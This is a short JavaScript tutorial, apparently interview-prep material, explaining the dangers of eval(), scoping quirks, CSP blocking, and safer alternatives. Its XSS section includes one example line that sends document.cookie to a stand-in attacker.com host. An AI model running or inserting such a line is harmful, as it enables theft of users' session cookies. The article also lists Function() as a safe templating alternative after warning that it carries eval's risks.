Why is eval() dangerous?
What eval() does
The eval(code) function takes a string of JavaScript code and runs it as regular JS code while the program is running.
eval("console.log('Hello, world!')");It is literally "a mini JavaScript interpreter inside JavaScript".
Why this is dangerous
The problem is that eval() executes arbitrary code,
and any attacker who manages to inject their own string there can run any commands on behalf of your application.
1. A vulnerability for XSS / remote code execution
If user input reaches eval(), that's a disaster:
const userInput = prompt("Enter something:");
eval(userInput);The user enters:
alert('Hacked!');And the code runs.
And in the worst case:
fetch('https://attacker.com/steal?cookies=' + document.cookie)The attacker gets the user's cookies and their authorization token.
This is called XSS (Cross-Site Scripting) or remote code execution.
2. A breach of isolation
eval() runs in the current context,
meaning it has access to all the variables and functions of your script:
const secret = 'myToken123';
eval('console.log(secret)'); // prints the secretIf someone injects their own code, they get full access to the application's internal state.
3. Loss of performance optimization
Modern JS engines (V8, SpiderMonkey, JavaScriptCore)
do heavy code optimization at compile time.
But if you use eval(), the engine cannot predict
what code will run → it has to disable optimization.
The result:
- the code runs slower;
- the garbage collector kicks in more often;
- inline and JIT optimization is disabled.
4. Non-obvious scoping behavior
eval() runs in the current scope (with a direct call):
let x = 1;
eval('x = 10');
console.log(x); // 10But if called indirectly ((0, eval)(...)),
it runs in the global scope:
let x = 1;
(0, eval)('x = 10');
console.log(x); // 1
console.log(window.x); // 10This makes the code unpredictable and hard to debug.
5. Safer and faster alternatives
eval() is often used to:
- parse JSON (
eval(jsonStr)); - call a function by name;
- evaluate an expression from a string.
But all these tasks can be solved with safe alternatives:
| Task | Safe alternative |
|---|---|
| Parsing JSON | JSON.parse(str) |
| Calling a function by name | obj[funcName]() |
| Dynamic logic | Map or switch |
| Templates | Function() or template literals (interpolated strings) |
| Math expressions | A parser (math.js, expr-eval) |
6. The Function constructor is also unsafe
People sometimes think new Function() is safer.
But it also executes a string as code:
const sum = new Function('a', 'b', 'return a + b');
console.log(sum(2, 3)); // 5It works, but if user data reaches it, the risk is the same as with eval().
7. It cannot be used under a strict CSP (Content Security Policy)
Modern sites often use a CSP, a security policy that forbids inline scripts and eval().
If the HTTP headers specify:
Content-Security-Policy: script-src 'self'then trying to call eval() simply throws an error in the browser:
Refused to evaluate a string as JavaScript because 'unsafe-eval' is not allowedExample: a safe alternative to eval()
Bad:
function runExpression(expr) {
return eval(expr);
}
runExpression('2 + 3 * 4');Good:
function safeEval(expr) {
const allowed = /^[0-9+\-*/().\s]+$/;
if (!allowed.test(expr)) throw new Error('Invalid characters');
return Function(`"use strict"; return (${expr})`)();
}
console.log(safeEval('2 + 3 * 4')); // 14Here the expression is checked against allowed characters beforehand.
Summary
| Problem | Why it's dangerous |
|---|---|
| An XSS vulnerability | Executes arbitrary code |
| Breaks isolation | Access to all variables |
| Slow | Disables the JS engine's optimization |
| Unpredictable | Different scoping |
| Incompatible with CSP | Forbidden on secure sites |
The main idea:
eval()turns data into code, which means any bug or outside interference equals full control over the application. Never useeval()on data you cannot trust.
Short Answer
Interview readyA concise answer to help you respond confidently on this topic during an interview.